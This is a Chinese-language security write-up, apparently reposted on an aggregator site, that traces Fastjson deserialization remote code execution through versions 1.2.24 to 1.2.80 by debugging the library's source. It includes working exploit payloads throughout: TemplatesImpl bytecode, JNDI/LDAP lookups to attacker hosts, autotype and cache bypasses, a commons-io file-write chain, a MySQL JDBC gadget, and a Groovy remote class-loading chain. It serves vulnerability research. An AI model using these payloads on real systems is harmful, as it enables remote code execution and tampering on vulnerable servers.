IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Javaweb安全——Fastjson反序列化利用 -> 正文阅读

[网络协议]Javaweb安全——Fastjson反序列化利用

Fastjson前置知识

image-20220928235104099

反序列化函数

Object obj = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
Object obj = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
Object obj = JSON.parseObject("{...}", Object.class); //JSON文本解析成Object.class类,即指定类型

JSON.parseObject 的底层调用的还是 JSON.parse 方法,只是在 JSON.parse 的基础上做了一个封装。

image-20221008002441556

@type

  • @type字段名,用来表明指定反序列化的目标对象类型

在JSON序列化时开启 SerializerFeature.WriteClassName 选项,序列化出来的结果会在开头加一个 @type 字段,值为进行序列化的类名。

反序列化时带有@type 字段的序列化数据会得到对应类型的实例化对象。

漏洞原理

Fastjson 1.2.22-1.2.24

漏洞的根本原因还是Fastjson的autotype功能,此功能可以反序列化的时候人为指定类,然后在利用指定的反序列化器过程中,如果满足条件则会去反射调用setter || getter方法,以串联某些利用链达成RCE。

autotype再处理json的时候,没有对@type进行安全验证,就可以传入危险的类,远程连接rmi主机,反弹shell之类的操作。

TemplatesImpl利用链

这个利用链需要开启JSON.parseObject的Feature.SupportNonPublicField选项以支持反序列化使用非public修饰符保护的属性,因为TemplatesImpl里的属性都是私有的。

package FastjsonDemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class demo {
    public static void main(String[] args) throws Exception {
        String text ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQALTERlbW8kdGVzdDsBAApTb3VyY2VGaWxlAQAJRGVtby5qYXZhDAAEAAUHABMBAAlEZW1vJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAERGVtbwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFW5pY2UwZTM1OTY1NzU3NTI5NjkwMAEAF0xuaWNlMGUzNTk2NTc1NzUyOTY5MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAACwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
        Object obj = JSON.parseObject(text, Object.class, Feature.SupportNonPublicField);
    }
}

JSON.parseObject下断点开始调试,com.alibaba.fastjson.JSON#parseObject调用了自身的另外一个重载方法。

然后实例化一个DefaultJSONParser类,主要就是根据当前的字符({开头或者是[开头)来赋值,这里是是{开头,把lexer.token赋为12。

lexer是词法解析器,这里为JSONScanner

image-20220926103638874

image-20220926105358320

最后调用DefaultJSONParser类的parseObject方法

image-20220926103922295

先对lexer的token进行判断,然后进入对应处理,若都不满足则直接来到config.getDeserializer(type)获取了一个ObjectDeserializer对象。

image-20220926110635675

然后去调用JavaObjectDeserializer对象的derialize方法,不满足前两个if条件直接进入DefaultJSONParser类的parse方法

image-20220926205535477

DefaultJSONParser#parse对token进行判断进入对应逻辑

image-20220926205837398

跟进这个parseObject方法,如果key等于@type,则获取lexer中@type键的值给到typeName,也就是获取反序列化的目标对象类型。然后调用TypeUtils.loadClass方法,反射获取对应类名的类对象。

image-20220926210848054

这个loadClass里做的事情:

会在现有的mappings(缓存)中寻找从@type传入的classname,如果没有找到,则调用contextClassLoader.loadClass获取AppClassLoader类加载器,并加载到mappings中与@type传入的类进行关联,最后返回clazz对象。

接着到config.getDeserializer这里,

image-20220927155639698

里面会去判断是不是是否为Set、HashSet、Collection、List、ArrayList,如果不是则继续判断classname是否继承Collection,Map,Throwable接口,是的话直接调用对应的deserializer反序列化器。若都不匹配则通过ParserConfig#createJavaBeanDeserializer方法去新建一个对应的反序列化器

image-20220927155939154

跟进这个方法里面又是一堆if判断,

image-20220927172100388

这个boolean asmEnable,是的话就会调用asmFactory.createJavaBeanDeserializer解析器(使用ASM生成的反序列化器具有较高的反序列化性能,但不方便调试具体过程),使用asm的条件如下,就是那堆if所判断的条件

  • 非Android系统
  • 该类及其除Object之外的所有父类为是public的
  • 泛型参数非空
  • 非asmFactory加载器之外的加载器加载的类
  • 非接口类
  • 类的setter函数不大于200
  • 类有默认构造函数
  • 类不能含有仅有getter的filed
  • 类不能含有非public的field
  • 类不能含有非静态的成员类
  • 类本身不是非静态的成员类

接着看这个JavaBeanInfo.build方法,里面依次遍历获取set方法、类公共属性、get方法。image-20220927185349025

遍历所有的method,如果 name小于4 || 静态方法 || 返回值不是Void || 不是set前缀,就会跳过这个method。要是都满足set的条件,接着就会做一些转小写,从缓存中查找的操作,这里就不贴代码图了。

image-20220927185110073

直接看到最后的add(fieldList,将符合条件的method添加到fieldList中。

image-20220927190956360

这里所调用的FieldInfo类的构造方法如下,前面就是对method啥的属性赋值

image-20220927200010651

主要关注getOnly这个属性(影响后面执行method的逻辑),要进入这个getOnly = true的分支就得满足方法的参数类型不等于一,那么在setter方法中显然是无法满足的。

image-20220927200410205

跳出这个循环直接看第二轮遍历method获取get方法,同样的也是一堆判断

  • 判断方法名长度是否大于4,不大于4则跳过
  • 静态方法跳过
  • 方法名是否get前缀,并且第四个字符为大写,不符合则跳过
  • 方法有参数跳过
  • 方法返回值不是Collection.class、Map.class、AtomicBoolean.class、AtomicInteger.class、AtomicLong.class或其子孙类则跳过

image-20220927203217653

根据注解取字段名称,若没有注解则根据方法名从第四个字符开始确定字段field名称,根据字段名获取集合中是否已有FieldInfo,有则跳过。也就是set那获取到了就不重复添加方法了,毕竟反序列化主要是设置值。

image-20220927210837948

最后也是将满足条件的method添加到fieldList集合,最后将fieldList丢到一个新的JavaBeanInfo对象中返回。

image-20220928173623647

outputProperties由于形参类型数量为0,这时候的添加FieldInfo就满足getOnly = true的条件了,

image-20220927205813676

最后返回了一个JavaBeanInfo对象

image-20220927210604440

回到fastjson.parser.ParserConfig#createJavaBeanDeserializer,接着从beaninfo中取出defaultConstructor默认构造器、field属性,反正就是去判断是不是满足前面列出来的ASM使用条件,为asmEnable标志位赋值。img

image-20220928001042584

因为前面get那遍历method的时候使得getOnly为true 所以这里asmEnable就是true了。

根据asmEnable标志位,进行if条件判断,这边显然是不满足的,于是new一个JavaBeanDeserializer反序列化器

image-20220928001547086

再build一下,传入这个类重载的构造函数处理

image-20220928001746938

beanInfo.sortedFields进行了遍历,把结果给了sortedFieldDeserializers[],给每个属性配置了反序列化器

image-20220928002449444

回到DefaultJSONParser#parseObject方法,上面那么多步骤最后返回了一个类反序列化器,上面获取的所有FieldInfo处理逻辑都在JavaBeanDeserializer.deserialzeimage-20220927212337602

此时的调用栈如下:

image-20220928083130230

根据当前token的值,也就是json串的闭合符号来确定具体的操作

image-20220928003106665

image-20220928101624296

如果是},那就跳转到下一个逗号,调用类的构造方法返回实例化对象。如果是[那就丢入deserialzeArrayMapping做数组处理,然后还有几个if判断,要是都没匹配上,那就进入下面fieldIndex处理逻辑。

前面就是把之前存入反序列化器的属性,方法啥的取出来

image-20220928140419404

然后又是根据fieldlClass类型去判断,如果匹配到了就设置boolean matchField = true,这里显然是都不满足的。

image-20220928141502684

直接到这一步,跟进JavaBeanDeserializer#parseField方法

image-20220928141832548

也是通过循环遍历获取对应field的反序列化器

image-20220928143352300

然后进入setValue去反射调用FiledMethod,将值设置进去

image-20220928143515567

setValue方法中也有很多if判断,会利用到FieldInfo前面构建时,收集到的信息,例如method、getOnly等,进行判断是否调用某些方法。

前面几次循环就是正常的setter设置类属性。

直接跳过这个循环到调用outputProperties这个FiledMethod。对于method不为空的fieldInfo,若getOnly == false,则直接反射执行method。

image-20220928144947393

getOnly == true,也就是只存在对应字段field的getter,而不存在setter,则会对其method的返回类型进行判断,若符合,才会进行反射执行该method。

如果method的返回值类型是map的子孙类则反射执行method,那其实到这就结束了

image-20220928144718956

到这里的调用栈如下:

setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:11, demo (FastjsonDemo)

后面就TemplatesImpl的调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()

image-20220928151257142

image-20220928145200735

刚好是满足这里的Map.class.isAssignableFrom(method.getReturnType())条件。

base64编码

可以看到和原来不同的一点在于,POC中的_bytecodes属性里的恶意字节码是base64编码后的字符串。

调试可见,在DefaultFieldDeserializer#parseField方法set _bytecodes的值的时候,对应的反序列化器ObjectArrayCodec会去调用JSONScanner#bytesValue方法,做一次base64解码

image-20220928181059537

image-20220928181323157

image-20220928181340620

JdbcRowSetImpl利用链(JNDI)

jndi注入通用性较强,但是需要在目标出网的情况下才能使用

这里为了方便调试还是用原来的demo,没有在tomcat环境下测试,所以直接设置jdk为8u111以方便调试,直接用工具起一个恶意ldap服务。

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.133

image-20220928192722246

public class demo {
    public static void main(String[] args) throws Exception {
        String Payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.106.133:1389/Basic/Command/calc\",\"autoCommit\":true}";
        Object obj = JSON.parseObject(Payload, Object.class);
    }
}

前面的解析过程和TemplatesImpl链没啥区别,直接到FieldDeserializer.setValue开始调试。

这条链子调用的是setter方法,自然也无法使得getOnly为true,直接进入下面的method.invoke

image-20220928204430721

这里调用的是JdbcRowSetImpl#setAutoCommit方法,用来设置autoCommit属性的值,传值是一个boolean。所以POC那设置autoCommit属性值给个布尔值即可。

image-20220928205332211

跟进这个JdbcRowSetImpl#connect方法,就是一个很明显的jndi注入的点。这里预期的话是用来绑定sql数据库地址的嘛,我们传进去json进行反序列化时候dataSourceName属性设置个恶意ldap或者rmi地址即可。

image-20220928205530964

调用链如下

c_lookup:1092, LdapCtx (com.sun.jndi.ldap)

p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)

lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)

lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)

lookup:94, ldapURLContext (com.sun.jndi.url.ldap)

lookup:417, InitialContext (javax.naming)

connect:624, JdbcRowSetImpl (com.sun.rowset)

setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

invoke:62, NativeMethodAccessorImpl (sun.reflect)

invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

invoke:498, Method (java.lang.reflect)

setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)

deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)

deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)

parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)

parseObject:339, JSON (com.alibaba.fastjson)

parseObject:243, JSON (com.alibaba.fastjson)

parseObject:456, JSON (com.alibaba.fastjson)

高版本绕过

checkAutoType安全机制

该机制自1.2.25版本引入,使用之前的poc试一下,显示类型不支持。

image-20221008000122885

跟入com.alibaba.fastjson.parser.DefaultJSONParser可见原先的TypeUtils.loadClass方法变成了config.checkAutoType方法

image-20221008212837931

checkAutoType 一般有以下几种情况会通过校验:

  1. 白名单里的类
  2. 开启了 autotype
  3. 使用了 JSONType 注解
  4. 指定了期望类(expectClass)
  5. 缓存 mapping 中的类

提到这个机制又不得不提到autoTypeSupport选项(默认False)

  • False
    • 黑名单 -> 白名单,若白名单匹配上则直接加载该类,否则报错。

1.2.25版本的黑名单如下,显然是不能通过检查的

image-20221008213421159

  • True

    • 白名单,匹配成功即可加载该类,否则再黑名单过滤。

    • 最后若是都没有匹配到,且开启了AutoTypeSupport或者有expectClass参数,则调用TypeUtils.loadClass方法加载该类

image-20221008214201831

image-20221008215949618

类名解析bypass(<= 1.2.45)

需开启AutoTypeSupport

1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}

早期版本TypeUtils.loadClass函数的实现代码中对于类名解析有一些特殊处理,loadClass会将”L”与”;”去除后组成newClassName并返回。

image-20221008215224340

1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}

在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist

且在checkAutoType函数多了一次替换,双写即可。

image-20221008221824162

1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}

在checkAutoType里面添加了如下代码,连续出现两个L会抛出异常。

image-20221008222421241

开头为[也有类似操作,换一个就行。后面几个符号是为了满足json解析格式。

1.2.45开始checkAutoType中添加了针对[的检测,如果第一个字符为[直接抛出异常。可使用mybatis依赖绕过,原理类似JdbcRowSetImpl。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.106.131:1389/Basic/Command/calc"}}

mappings缓存绕过

<= 1.2.47

image-20221009005448842

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":"true"}}

TypeUtils.loadClass方法会在类加载之后将类放入缓存

image-20221008235720093

而且fastjson为了速度有一些从缓存中取出类对象的操作

image-20221008233917297

image-20221008235435221

所以这个payload分成两部分来看,第一部分可以通过checkAutoType 方法检查。

image-20221011001205232

进入后面的deserializer.deserialze,这里实际上调用的是MiscCodec#deserialze

image-20221010235423843

parser.parse()获取val的值,也就是com.sun.rowset.JdbcRowSetImpl

image-20221010235535433

image-20221011003239383

赋值给strVal,最后由TypeUtils.loadClass加载,添加进mappings。

image-20221009002753886

image-20221009002837022

但Mappings是ConcurrentMap类型的,仅在在当前连接会话生效。所以需要在一次连接会话同时传入两个json键值对。

第二部分再去过checkAutoType 方法检查时就可以从缓存取出类对象从而绕过了。

image-20221009003020383

image-20221008235406657

1.2.48开始在loadClass时,将缓存开关默认设置为False,同时将Class类加入黑名单。

expectClass期望类绕过

期望类可以由类间关系隐式确定,也可以由两个@type显式指定。

class User {
    Foo id;
}

class FooImpl implements Foo {
    String fooId;
}
  • 由类间关系确定
{
    "@type":"User",
    "id":{
        "@type":"FooImpl",
        "fooId":"abc"
    },   
}
  • 由JSON显式指定
{"@type":"Foo","@type":"FooImpl","fooId":"abc"}

1.2.68

image-20221009005513177

回顾一下fastjson反序列化的过程,DefaultJSONParser#parseObject会去获取对应的类加载器对象。

image-20221009191155140

调用的方法为ParserConfig.getDeserializer,会根据对象类型去获取对应的反序列化器对象,都不符合的话就调用createJavaBeanDeserializer 方法来构造 JavaBeanDeserializer。

image-20221009191336746

全局搜索传参expectClass的checkAutoType方法,分别位于:

  • JavaBeanDeserializer

  • ThrowableDeserializer

也就是上面图片里红色框起来的两个位置对应的deserializer。

AutoCloseable

写一个恶意子类以代替具体利用链,了解期望类的绕过过程。

这里因为JavaBeanDeserializer set设置属性得过程前面已经调试过了,偷个懒就没写setter方法去设置属性,别被误导。

package FastjsonDemo;

import java.io.IOException;

public class EvilAutoCloseable implements AutoCloseable{

    public EvilAutoCloseable(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
            e.printStackTrace();
        }
    }

    public void close() throws Exception {

    }
}
{"@type":"java.lang.AutoCloseable", "@type":"FastjsonDemo.EvilAutoCloseable"}

从头开始调试,从DefaultJSONParser#parseObject进入第一次的checkAutoType方法。

image-20221009203930965

这里相当于期望类的黑名单,包括了大部分常用的父接口和父类,但没有 java.lang.AutoCloseable

image-20221009193948498

之后从typeName中解析出className,然后计算hash进行内部白名单、黑名单匹配。

之后分别从getClassFromMapping、deserializers、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致。

image-20221009202703669

TypeUtils#mappings里有 AutoCloseable 类

image-20221009203400409

上面其实就是为了返回一个clazz,以获取对应的反序列化器。

然后回到DefaultJSONParser#parseObject方法,接着上面的处理逻辑,获取到的deserializer为JavaBeanDeserializer。

并将clazz(interface java.lang.AutoCloseable)作为type参数传入,

image-20221009192903546

现在走到了JavaBeanDeserializer#deserialze 方法。这里还有一个checkAutoType,当第二个字段的 key 也是 @type 的时候就会取 value 当做类名做一次 checkAutoType 检测,也是在这传入的expectClass参数。

expectClass由TypeUtils.getClass(type)根据type即传入的clazz获取到。

image-20221009210017338

同样的期望类黑名单过滤,然后从deserializers、typeMapping那堆东西里找。这里显然是找不到的嘛

image-20221009210853152

最后如果expectClassFlag为true的话,使用TypeUtils.loadClass进行类加载。

image-20221009211604846

然后再给这个类添加到缓存中,并返回JavaBeanDeserializer#deserialze的userType参数

image-20221009013155849

同样的获取对应的反序列化器去deserialze

image-20221009212344002

按照demo里的写的恶意类这里其实就弹计算器了,但实际不可能直接有个类构造方法写了命令执行的语句,真正触发的地方还是在set属性那。

为了找到合适的java.lang.AutoCloseable派生类,需要满足非黑名单类、非继承自 ClassLoader、DataSource、RowSet 的类,这个判断在将期望类return之前,会直接抛出异常。这里说白了就是看看在期望类是怎么绕过的。

image-20221009213425582

看真实利用链之前,先了解一下这个接口是干嘛的。

https://www.jianshu.com/p/3a1e774d8625

从AutoCloseable的注释可知它的出现是为了更好的管理资源,准确说是资源的释放,当一个资源类实现了该接口close方法,在使用try-catch-resources语法创建的资源抛出异常后,JVM会自动调用close 方法进行资源释放,当没有抛出异常正常退出try-block时候也会调用close方法。像数据库链接类Connection,io类InputStream或OutputStream都直接或者间接实现了该接口。

commons-io

浅蓝师傅在《fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路》中给出的寻找思路为:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法

具体分析看这篇文章吧,个人确实没有精力去再跟一遍,就简单记录下payload复现一下,

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析

commons-io 2.0 - 2.6

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(写入的恶意内容,长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

commons-io 2.7.0 - 2.8.0

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
Mysql JDBC

搭配使用 https://github.com/fnmsd/MySQL_Fake_Server

{
	"aaa": {
		"@type": "u006au0061u0076u0061.lang.AutoCloseable",
		"@type": "u0063u006fu006d.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "192.168.33.128",
		"portToConnectTo": 3306,
		"url": "jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=",
		"databaseToConnectTo": "test",
		"info": {
			"@type": "u006au0061u0076u0061.util.Properties",
			"PORT": "3306",
			"statementInterceptors": "u0063u006fu006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"user": "cb",
			"PORT.1": "3306",
			"HOST.1": "172.20.64.40",
			"NUM_HOSTS": "1",
			"HOST": "172.20.64.40",
			"DBNAME": "test"
		}
	}
}

修复:

1.2.68后将java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable加入了黑名单。

Throwable

这个期望类使用的反序列化器为ThrowableDeserializer,写个demoException类来调试流程。

package FastjsonDemo;

import java.io.IOException;

public class EvilException extends Exception {
    private String cmd;

    public EvilException() {
        super();
    }

    public String getDomain() {
        return cmd;
    }

    public void setDomain(String cmd) {
        this.cmd = cmd;
    }

    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }
}
{"@type":"java.lang.Exception","@type":"FastjsonDemo.EvilException","cmd":"calc"}

基本相同,只是返回的反序列化器是ThrowableDeserializer

image-20221009233702381

如果key为@type的话,获取@type的值,作为类名传入,期望类为Throwable.class

image-20221009234238548

把 message 和 cause 传给了ThrowableDeserializer#createException处理。

image-20221009234824132

开始实例化异常类,依次查找对应参数的构造方法,找到就直接返回。

image-20221009235158576

image-20221009235225747

实例化后返回ThrowableDeserializer,然后就是为实例化后的异常类设置属性。

image-20221010233617476

1.2.80

image-20221009005533873

Throwable

groovy

测试类:

package FastjsonDemo;

import com.alibaba.fastjson.JSON;

public class groovy {
    private static String poc1 = "{\n" +
            "    \"@type\":\"java.lang.Exception\",\n" +
            "    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
            "    \"unit\":{}\n" +
            "}";

    private static String poc2 = "{\n" +
            "    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
            "    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
            "    \"config\":{\n" +
            "        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
            "        \"classpathList\":\"http://127.0.0.1:8090/\"\n" +
            "    }\n" +
            "}";
    
    public static void main(String[] args) {
        try {
            JSON.parseObject(poc1);
        } catch (Exception e){}

        JSON.parseObject(poc2);
    }
}

Evil类

import java.io.IOException;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

@GroovyASTTransformation
public class Evil implements ASTTransformation {
    public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

image-20221012004105457

文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation
添加内容 Evil

然后在这个目录起一个http服务即可。

image-20221012001111898

payload1:

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

payload2:

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://127.0.0.1:8090/"
    }
}

第一个payload,先使用1.2.68的绕过方式利用期望类加载类,在创建对应field反序列化器设置该类的unit属性(ProcessingUnit类型)时,如果value不是fieldClass类型的会进入com.alibaba.fastjson.util.TypeUtils#cast

image-20221013001718819

经过判断再到com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)函数,根据传入对象的具体类型来进行对应的类型转换操作。

image-20221013000149848

image-20221013000650632

然后到了com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)

image-20221013000747715

调用自身putDeserializer函数,然后把org.codehaus.groovy.control.ProcessingUnit对应的deserializer,设置进IdentityHashMap的Entry<K, V>[] buckets属性

image-20221013001953960

所以也会把org.codehaus.groovy.control.ProcessingUnit加入反序列化缓存。

